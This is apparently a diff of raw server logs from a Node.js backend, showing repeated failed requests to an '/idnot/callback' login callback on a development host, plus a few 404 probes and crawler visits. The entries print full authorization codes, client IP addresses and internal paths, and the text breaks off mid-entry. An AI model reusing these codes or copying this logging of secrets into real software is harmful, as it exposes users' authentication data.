'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:12:06.239Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633126238_aksgpypcs' +} +❌ [ERROR] 2025-09-23T13:12:06.239Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633126238_aksgpypcs', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:12:14.333Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633134332_cijg33peb' +} +❌ [ERROR] 2025-09-23T13:12:14.333Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633134332_cijg33peb', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:12:21.507Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633141506_v1s3uq94s' +} +❌ [ERROR] 2025-09-23T13:12:21.508Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633141506_v1s3uq94s', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:12:52.149Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633172148_umazjkvma' +} +❌ [ERROR] 2025-09-23T13:12:52.150Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758633172148_umazjkvma', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:13:52.146Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTR'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758633232145_rt27fhpi7' +} +❌ [ERROR] 2025-09-23T13:13:52.147Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758633232145_rt27fhpi7', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T13:15:10.940Z HTTP GET /pdown - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:34.151.255.135', + method: 'GET', + url: '/pdown', + userAgent: undefined + }, + requestId: 'req_1758633310939_z3v27btvl', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T13:17:01.279Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758633421278_en8qy9o8l', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:17:02.746Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633422746_haujth40i' +} +❌ [ERROR] 2025-09-23T13:17:02.747Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633422746_haujth40i', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:23:07.913Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633787912_rmjv4s682' +} +❌ [ERROR] 2025-09-23T13:23:07.913Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633787912_rmjv4s682', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:35:23.561Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new 